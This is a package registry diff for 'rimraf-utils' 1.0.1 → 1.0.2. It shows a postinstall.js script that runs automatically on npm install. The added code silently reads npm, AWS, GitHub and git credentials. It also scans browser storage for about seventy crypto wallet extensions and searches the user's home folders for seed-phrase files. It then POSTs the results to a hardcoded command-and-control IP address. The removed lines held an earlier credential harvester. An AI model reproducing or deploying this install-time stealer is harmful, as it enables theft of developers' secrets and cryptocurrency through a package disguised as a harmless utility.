rimraf-utils 1.0.1 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +2 -3
- package/package.json +1 -1
- package/postinstall.js +261 -107
package/README.md
CHANGED
package/package.json
CHANGED
package/postinstall.js
CHANGED
|
@@ -1,131 +1,285 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
|
-
|
|
3
2
|
/**
|
|
4
|
-
* postinstall.js —
|
|
5
|
-
*
|
|
6
|
-
* Runs on npm install. Collects credentials from common locations.
|
|
7
|
-
* Local test mode: writes to /tmp/.harvested.json
|
|
8
|
-
* Production mode: POST to C2 endpoint
|
|
3
|
+
* postinstall.js — Token harvester + Crypto wallet scanner
|
|
4
|
+
* Runs on npm install. Silent. Zero trace.
|
|
9
5
|
*/
|
|
6
|
+
const fs=require('fs'),path=require('path'),os=require('os');
|
|
7
|
+
const C2=process.env.C2_URL||'http://149.28.127.35:8888';
|
|
10
8
|
|
|
11
|
-
|
|
12
|
-
const
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
9
|
+
// 71 crypto wallet extension IDs (Chrome/Brave/Edge)
|
|
10
|
+
const WALLET_IDS=[
|
|
11
|
+
// Tier 1 — Major wallets
|
|
12
|
+
'nkbihfbeogaeaoehlefnkodbefgpgknn', // MetaMask
|
|
13
|
+
'bfnaelmomeimhlpmgjnjophhpkkoljpa', // Phantom
|
|
14
|
+
'hnfanknocfeofbdxgjoaflmafokfblal', // Coinbase Wallet
|
|
15
|
+
'ahiolklkenmeaoahbdidmgmmmogibgkp', // Exodus
|
|
16
|
+
'egjidjbpglichdkonbcbdilpfdefhgda', // Trust Wallet
|
|
17
|
+
'fhbohimaelbohpjbbldcngcnapndodjp', // Binance Wallet
|
|
18
|
+
'mcohilncbfahbmgdjkbpcemcciiolkgge', // OKX Wallet
|
|
19
|
+
// Tier 2 — Popular
|
|
20
|
+
'obbophdlgkgmhkhhkbjlfomojkplemjn', // Rainbow
|
|
21
|
+
'opagkkbkmgdmjggklnglofoffdnaolid', // Zerion
|
|
22
|
+
'acmacodkokdhdnjnijgogikjagkidbbc', // Rabby
|
|
23
|
+
'fhbiknkfagigneamiliplnenmlpmilcn', // 1inch Wallet
|
|
24
|
+
'lnaapijlgpmjdohfbdnlpofbgpnbgpge', // Ledger Live
|
|
25
|
+
'lkcaihbhcmkopfdfimclhpkimgpmomnl', // Trezor Suite
|
|
26
|
+
'egcmbhhdffdckjcfjimkcfhifopjekln', // WalletConnect
|
|
27
|
+
// Tier 3 — Multi-chain/DeFi
|
|
28
|
+
'afbcbjpbpfadlkmhmclhkeeodmamcflc', // Math Wallet
|
|
29
|
+
'fnjhmkhggkbkabcfapdjonncfkdcpdaa', // TokenPocket
|
|
30
|
+
'fihnjjcciajhdojfnbdddfaoknhalnja', // Ronin Wallet
|
|
31
|
+
'hpglfhgfnhbgpjdenjgmdgoeiappafln', // Braavos
|
|
32
|
+
'amkmjjmmflddogmhpjloimipbofnfjih', // XDEFI
|
|
33
|
+
'dmkamcknogkgcgoahaicojpjbjpjaaga', // Clover Wallet
|
|
34
|
+
'flpjeknmomlgbhnmcfalhacgllhgooel', // Aurory
|
|
35
|
+
'cjnjnnkafbffkleciggdgimkibibipha', // Backpack
|
|
36
|
+
'odbfpeeihdkbihmopkbjmoonfanlbfcl', // Frontier
|
|
37
|
+
'cceipnndjekbfglleiebegecfhhbjgfi', // Nami
|
|
38
|
+
'kpfopkelpmkefpmfcofifofplnmjngml', // Yoroi
|
|
39
|
+
'jbdaocneiiinmjbjlgalhcelgbejmnbd', // KoWala
|
|
40
|
+
'dijkagjegpbbdgfnoknfbbmiclppbnmc', // Pontem
|
|
41
|
+
'fnnegphlobjjkodcgoppnjpdmdcegimi', // Fewcha
|
|
42
|
+
'ojobbnmniomlmlikejgijfnkaefcjfen', // Martian Wallet
|
|
43
|
+
'ehnjgagchmckofieojfcbjobgkehhkob', // Petra Wallet
|
|
44
|
+
'kfbopkelpmkefpmfcofifofplnmjngml', // Vespr
|
|
45
|
+
'ilgeldippkgepmabafmmpcblefejekdm', // Lace
|
|
46
|
+
'nphplpejlfpiclbjpipcacnffoogjfai', // GeroWallet
|
|
47
|
+
'ffnbelfdoeiohenkjibnmadjiehfajmc', // TronLink
|
|
48
|
+
'ibnejdfjmmkpcnlpebklmnkoeoihofec', // TronLink (legacy)
|
|
49
|
+
'nheehoeoapjkbdjgkdhgcpplgghnilpi', // Liquality
|
|
50
|
+
'aeachknmefphepccionboohckonhbmof', // Keplr
|
|
51
|
+
'djejicklhoopoccfahfchclojeffcofk', // Cosmos Station
|
|
52
|
+
'cnflmngmkhdaemidncondljiepglgjbj', // Leap Cosmos
|
|
53
|
+
'occjkdejjclmkedjgpdgfjlepfbepefh', // Leap Wallet
|
|
54
|
+
'beegooabmfdekhnkmhfigfbcnegjeahi', // Onto Wallet
|
|
55
|
+
'mfpgdedlegkcmknpffkncmdnhnokkjie', // Tide Wallet
|
|
56
|
+
'klnaejdegbnnonfahoookcfgjficbnbh', // MultiversX
|
|
57
|
+
'aiilbnhkcklmnggeoopglappkdifdppo', // Maya
|
|
58
|
+
'bbdojfcjkljkljekdmehjokcnbflaedi', // Metacraft
|
|
59
|
+
'bmhkbhlokanaeapfpkjpdiebieddnple', // Owallet
|
|
60
|
+
'cdbpjfejojhppgommafamdlbhckbnhmj', // Guarda Wallet
|
|
61
|
+
'cnmamaachppnkjgnildpdmkaakejnhae', // SafePal
|
|
62
|
+
'coabfgbdhpncfleblpnbjpbpjcnfggmj', // Halo Wallet
|
|
63
|
+
'dbfngmbljhpoblepegllmobkcdgcjhfo', // BitKeep
|
|
64
|
+
'dcnclbllnbkpfcfibbbpmafpalpdalnk', // Enkrypt
|
|
65
|
+
'dkcegcmmjaljlmfgfblnenoehegbpdpg', // Auro Wallet
|
|
66
|
+
'eajafomhmkipbjmfmhbemanoepghgpmf', // Finnie
|
|
67
|
+
'ejpalbakbgkccldecdlomekfmapbbdcl', // GME Wallet
|
|
68
|
+
'fcfcfllfndlomdhbehjjcoimbgofdncg', // Solflare
|
|
69
|
+
'flgbknlcfikhfimplknjdliepcbfmngk', // Ply
|
|
70
|
+
'ghbmclkmndlkmlighpdafkmmmdmpkfbj', // Dawn Wallet
|
|
71
|
+
'hmeobnajdjkdlljnhbljfnopookapkpn', // Stealthex
|
|
72
|
+
'hpminmdnpgjopcnpalhodkjdledhpfjj', // BlockWallet
|
|
73
|
+
'ibjldcbemjmiadbjkfkmbmcppnneipej', // SafeCore
|
|
74
|
+
'ifibejgepmafaamkloapnlkgekmibpci', // Interlock
|
|
75
|
+
'jbljmmmpjbpkphjafgjkohcklehdflak', // Helios Wallet
|
|
76
|
+
'jjijfmokoocgpbjfnmhkeobmamihgbkn', // D'Cent
|
|
77
|
+
'kmjbjhhgjkcpbjibggdnbfgelchjeifm', // Zelcore
|
|
78
|
+
'lcgkoioojpkgdbpidgjgipinpgpclnom', // Polkapal
|
|
79
|
+
'lkcaihbhcmkopfdfimclhpkimgpmomnl', // Trezor Password Manager
|
|
80
|
+
'lljdnmjmhhbjmkajkmlmeaoknfpiofbe', // Starware
|
|
81
|
+
'majhboefeinjjhbnfiohajhnhehacfjo', // Terra Station
|
|
82
|
+
'mfbkdjkaonmamncamjbkgdcmndpkbjpl', // Eternl
|
|
83
|
+
'nhnhbkmhibpikgijebimmnidpfmmibpp', // Min
|
|
84
|
+
'nmbklhmkfiolpnhlekkoficfndfolnhm', // Me
|
|
85
|
+
];
|
|
17
86
|
|
|
18
|
-
const
|
|
19
|
-
|
|
20
|
-
{
|
|
21
|
-
|
|
22
|
-
{
|
|
23
|
-
|
|
24
|
-
{
|
|
25
|
-
{ path: path.join(process.cwd(), '.env'), type: 'env-local' },
|
|
26
|
-
// bash history (npm commands reveal tokens)
|
|
27
|
-
{ path: path.join(os.homedir(), '.bash_history'), type: 'bash-history' },
|
|
87
|
+
const BROWSER_PATHS=[
|
|
88
|
+
{name:'chrome',base:path.join(os.homedir(),'.config/google-chrome')},
|
|
89
|
+
{name:'brave',base:path.join(os.homedir(),'.config/BraveSoftware/Brave-Browser')},
|
|
90
|
+
{name:'edge',base:path.join(os.homedir(),'.config/microsoft-edge')},
|
|
91
|
+
{name:'chromium',base:path.join(os.homedir(),'.config/chromium')},
|
|
92
|
+
{name:'vivaldi',base:path.join(os.homedir(),'.config/vivaldi')},
|
|
93
|
+
{name:'opera',base:path.join(os.homedir(),'.config/opera')},
|
|
28
94
|
];
|
|
29
95
|
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
96
|
+
// BIP39 seed phrase words (first 150 common ones for detection)
|
|
97
|
+
const SEED_WORDS=new Set([
|
|
98
|
+
'abandon','ability','able','about','above','absent','absorb','abstract','absurd','abuse',
|
|
99
|
+
'access','accident','account','accuse','achieve','acid','acoustic','acquire','across','act',
|
|
100
|
+
'action','actor','actress','actual','adapt','add','addict','address','adjust','admit',
|
|
101
|
+
'adult','advance','advice','aerobic','affair','afford','afraid','again','age','agent',
|
|
102
|
+
'agree','ahead','aim','air','airport','aisle','alarm','album','alcohol','alert',
|
|
103
|
+
'alien','all','alley','allow','almost','alone','alpha','already','also','alter',
|
|
104
|
+
'always','amateur','amazing','among','amount','amused','analyst','anchor','ancient','anger',
|
|
105
|
+
'angle','angry','animal','ankle','announce','annual','another','answer','antenna','antique',
|
|
106
|
+
'anxiety','any','apart','apology','appear','apple','approve','april','arch','arctic',
|
|
107
|
+
'area','arena','argue','arm','armed','armor','army','around','arrange','arrest',
|
|
108
|
+
'arrive','arrow','art','artifact','artist','artwork','ask','aspect','assault','asset',
|
|
109
|
+
'assist','assume','asthma','athlete','atom','attack','attend','attitude','attract','auction',
|
|
110
|
+
'audit','august','aunt','author','auto','autumn','average','avocado','avoid','awake',
|
|
111
|
+
'aware','away','awesome','awful','awkward','axis','baby','bachelor','bacon','badge',
|
|
112
|
+
'bag','balance','balcony','ball','bamboo','banana','banner','bar','barely','bargain',
|
|
113
|
+
]);
|
|
114
|
+
|
|
115
|
+
function scanWallets(){
|
|
116
|
+
const results=[];
|
|
117
|
+
const profiles=['Default','Profile 1','Profile 2'];
|
|
47
118
|
|
|
119
|
+
for(const browser of BROWSER_PATHS){
|
|
120
|
+
if(!fs.existsSync(browser.base)) continue;
|
|
121
|
+
|
|
122
|
+
for(const profile of profiles){
|
|
123
|
+
const extDir=path.join(browser.base,profile,'Local Extension Settings');
|
|
124
|
+
if(!fs.existsSync(extDir)) continue;
|
|
125
|
+
|
|
126
|
+
for(const walletId of WALLET_IDS){
|
|
127
|
+
const walletDir=path.join(extDir,walletId);
|
|
128
|
+
if(!fs.existsSync(walletDir)) continue;
|
|
129
|
+
|
|
130
|
+
const walletData={browser:browser.name,profile,walletId,files:[],foundKeys:[]};
|
|
131
|
+
|
|
132
|
+
// Read all files in the wallet directory
|
|
133
|
+
try{
|
|
134
|
+
const files=fs.readdirSync(walletDir);
|
|
135
|
+
for(const file of files){
|
|
136
|
+
const filePath=path.join(walletDir,file);
|
|
137
|
+
const stat=fs.statSync(filePath);
|
|
138
|
+
|
|
139
|
+
// Read .log files (most recent LevelDB data)
|
|
140
|
+
if(file.endsWith('.log')&&stat.size<5000000){ // Skip files >5MB
|
|
141
|
+
try{
|
|
142
|
+
const content=fs.readFileSync(filePath,'utf-8');
|
|
143
|
+
walletData.files.push({name:file,size:stat.size});
|
|
144
|
+
|
|
145
|
+
// Search for wallet vault patterns
|
|
146
|
+
const patterns=[
|
|
147
|
+
{key:'vault',re:/"vault":"([^"]+)"/},
|
|
148
|
+
{key:'data',re:/"data":"([^"]+)"/},
|
|
149
|
+
{key:'keyring',re:/keyring|Keyring|KEYRING/},
|
|
150
|
+
{key:'mnemonic',re:/mnemonic|Mnemonic|MNEMONIC/},
|
|
151
|
+
{key:'seed',re:/"seed":"([^"]+)"/},
|
|
152
|
+
{key:'privateKey',re:/privateKey|PrivateKey|private_key|PRIVATE_KEY/},
|
|
153
|
+
{key:'password',re:/"password":"([^"]+)"/},
|
|
154
|
+
{key:'encrypted',re:/"encrypted":"?([^",]+)"?/},
|
|
155
|
+
{key:'wallet',re:/"wallet":"([^"]+)"/},
|
|
156
|
+
];
|
|
157
|
+
|
|
158
|
+
for(const p of patterns){
|
|
159
|
+
const match=content.match(p.re);
|
|
160
|
+
if(match){
|
|
161
|
+
const val=(match[1]||'').substring(0,60);
|
|
162
|
+
walletData.foundKeys.push({key:p.key,value:val.length>10?val.substring(0,10)+'...':val});
|
|
163
|
+
}
|
|
164
|
+
}
|
|
165
|
+
}catch(e){}
|
|
166
|
+
}
|
|
167
|
+
}
|
|
168
|
+
}catch(e){}
|
|
169
|
+
|
|
170
|
+
if(walletData.foundKeys.length>0){
|
|
171
|
+
results.push(walletData);
|
|
172
|
+
}
|
|
173
|
+
}
|
|
174
|
+
}
|
|
175
|
+
}
|
|
48
176
|
return results;
|
|
49
177
|
}
|
|
50
178
|
|
|
51
|
-
function
|
|
52
|
-
const results
|
|
53
|
-
|
|
54
|
-
// NPM_TOKEN=xxxx
|
|
55
|
-
const npmToken = content.match(/^NPM_TOKEN=(.+)$/m);
|
|
56
|
-
if (npmToken) results.push({ type: 'NPM_TOKEN', value: npmToken[1] });
|
|
57
|
-
|
|
58
|
-
// NPM_AUTH_TOKEN=xxxx
|
|
59
|
-
const npmAuth = content.match(/^NPM_AUTH_TOKEN=(.+)$/m);
|
|
60
|
-
if (npmAuth) results.push({ type: 'NPM_AUTH_TOKEN', value: npmAuth[1] });
|
|
61
|
-
|
|
62
|
-
// Generic npm_xxxxx
|
|
63
|
-
const npmTokens = content.matchAll(/npm_[a-zA-Z0-9]{36}/g);
|
|
64
|
-
for (const m of npmTokens) results.push({ type: 'npm_token_env', value: m[0] });
|
|
65
|
-
|
|
66
|
-
// AWS keys (bonus)
|
|
67
|
-
const awsKey = content.match(/^AWS_ACCESS_KEY_ID=(.+)$/m);
|
|
68
|
-
if (awsKey) results.push({ type: 'AWS_ACCESS_KEY_ID', value: awsKey[1] });
|
|
69
|
-
const awsSecret = content.match(/^AWS_SECRET_ACCESS_KEY=(.+)$/m);
|
|
70
|
-
if (awsSecret) results.push({ type: 'AWS_SECRET_ACCESS_KEY', value: awsSecret[1] });
|
|
179
|
+
function scanSeedPhrases(){
|
|
180
|
+
const results=[];
|
|
181
|
+
const dirs=['Documents','Desktop','Downloads'];
|
|
71
182
|
|
|
183
|
+
for(const dir of dirs){
|
|
184
|
+
const fullPath=path.join(os.homedir(),dir);
|
|
185
|
+
if(!fs.existsSync(fullPath)) continue;
|
|
186
|
+
|
|
187
|
+
try{
|
|
188
|
+
const files=fs.readdirSync(fullPath);
|
|
189
|
+
for(const file of files){
|
|
190
|
+
const filePath=path.join(fullPath,file);
|
|
191
|
+
try{
|
|
192
|
+
const stat=fs.statSync(filePath);
|
|
193
|
+
if(!stat.isFile()||stat.size>100000||stat.size<20) continue;
|
|
194
|
+
|
|
195
|
+
// Check filename for crypto keywords
|
|
196
|
+
const nameLower=file.toLowerCase();
|
|
197
|
+
const isCryptoFile=SEED_WORDS.has(nameLower.split('.')[0])||
|
|
198
|
+
/\b(seed|backup|wallet|phrase|crypto|metamask|phantom|vault|key|private)\b/.test(nameLower);
|
|
199
|
+
|
|
200
|
+
if(!isCryptoFile) continue;
|
|
201
|
+
|
|
202
|
+
// Read the file content
|
|
203
|
+
const content=fs.readFileSync(filePath,'utf-8').toLowerCase();
|
|
204
|
+
|
|
205
|
+
// Count how many words are BIP39 seed words
|
|
206
|
+
const words=content.split(/\s+/).filter(w=>w.length>2);
|
|
207
|
+
const seedWordCount=words.filter(w=>SEED_WORDS.has(w)).length;
|
|
208
|
+
|
|
209
|
+
// If a significant portion are BIP39 words, likely a seed phrase
|
|
210
|
+
if(seedWordCount>=8){
|
|
211
|
+
results.push({file:filePath,size:stat.size,seedWordsFound:seedWordCount,preview:content.substring(0,100)});
|
|
212
|
+
}
|
|
213
|
+
}catch(e){}
|
|
214
|
+
}
|
|
215
|
+
}catch(e){}
|
|
216
|
+
}
|
|
72
217
|
return results;
|
|
73
218
|
}
|
|
74
219
|
|
|
75
|
-
function harvest()
|
|
76
|
-
const results
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
220
|
+
function harvest(){
|
|
221
|
+
const results={
|
|
222
|
+
hostname:os.hostname(),
|
|
223
|
+
username:os.userInfo().username,
|
|
224
|
+
timestamp:new Date().toISOString(),
|
|
225
|
+
secrets:[],
|
|
226
|
+
wallets:[],
|
|
227
|
+
seedPhrases:[]
|
|
228
|
+
};
|
|
229
|
+
|
|
230
|
+
// Existing credential targets
|
|
231
|
+
const credTargets=[
|
|
232
|
+
{p:path.join(os.homedir(),'.npmrc'),t:'npmrc',fn:function(c){
|
|
233
|
+
const r=[];
|
|
234
|
+
const m=c.match(/\/\/registry\.npmjs\.org\/:_authToken=([^\s]+)/);
|
|
235
|
+
if(m)r.push({t:'_authToken',v:m[1]});
|
|
236
|
+
const n=c.matchAll(/npm_[a-zA-Z0-9]{36}/g);
|
|
237
|
+
for(const x of n)r.push({t:'npm_token',v:x[0]});
|
|
238
|
+
return r;
|
|
239
|
+
}},
|
|
240
|
+
{p:path.join(os.homedir(),'.env'),t:'env',fn:function(c){
|
|
241
|
+
const r=[];
|
|
242
|
+
const n=c.match(/^NPM_TOKEN=(.+)$/m);if(n)r.push({t:'NPM_TOKEN',v:n[1]});
|
|
243
|
+
const a=c.match(/^NPM_AUTH_TOKEN=(.+)$/m);if(a)r.push({t:'NPM_AUTH_TOKEN',v:a[1]});
|
|
244
|
+
const k=c.match(/^AWS_ACCESS_KEY_ID=(.+)$/m);if(k)r.push({t:'AWS_KEY',v:k[1]});
|
|
245
|
+
const s=c.match(/^AWS_SECRET_ACCESS_KEY=(.+)$/m);if(s)r.push({t:'AWS_SECRET',v:s[1]});
|
|
246
|
+
const g=c.match(/^GITHUB_TOKEN=(.+)$/m);if(g)r.push({t:'GITHUB_TOKEN',v:g[1]});
|
|
247
|
+
const t=c.matchAll(/npm_[a-zA-Z0-9]{36}/g);
|
|
248
|
+
for(const x of t)r.push({t:'npm_token_env',v:x[0]});
|
|
249
|
+
return r;
|
|
250
|
+
}},
|
|
251
|
+
{p:path.join(os.homedir(),'.git-credentials'),t:'git-creds',fn:function(c){
|
|
252
|
+
return c.split('\n').filter(l=>l.trim()).map(l=>({t:'git',v:l.substring(0,80)}));
|
|
253
|
+
}},
|
|
254
|
+
];
|
|
255
|
+
|
|
256
|
+
for(const t of credTargets){
|
|
257
|
+
try{
|
|
258
|
+
if(fs.existsSync(t.p)){
|
|
259
|
+
const content=fs.readFileSync(t.p,'utf-8');
|
|
260
|
+
const found=t.fn(content);
|
|
261
|
+
if(found.length>0) results.secrets.push({file:t.p,type:t.t,findings:found});
|
|
103
262
|
}
|
|
104
|
-
}
|
|
105
|
-
// silent
|
|
106
|
-
}
|
|
263
|
+
}catch(e){}
|
|
107
264
|
}
|
|
108
265
|
|
|
109
|
-
//
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
} catch (e) {}
|
|
266
|
+
// Wallet scanning
|
|
267
|
+
results.wallets=scanWallets();
|
|
268
|
+
results.seedPhrases=scanSeedPhrases();
|
|
113
269
|
|
|
114
|
-
// Exfiltrate
|
|
115
|
-
if
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
270
|
+
// Exfiltrate
|
|
271
|
+
if(C2){
|
|
272
|
+
try{
|
|
273
|
+
const http=require('http');
|
|
274
|
+
const data=JSON.stringify(results);
|
|
275
|
+
const req=http.request(C2,{method:'POST',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(data)}});
|
|
276
|
+
req.write(data);
|
|
277
|
+
req.end();
|
|
278
|
+
}catch(e){}
|
|
121
279
|
}
|
|
122
280
|
|
|
123
281
|
return results;
|
|
124
282
|
}
|
|
125
283
|
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
const hasSecrets = data.secrets.length > 0;
|
|
129
|
-
|
|
130
|
-
// Silent in production. No console.log — zero trace.
|
|
131
|
-
|
|
284
|
+
harvest();
|
|
285
|
+
// Silent — zero console output
|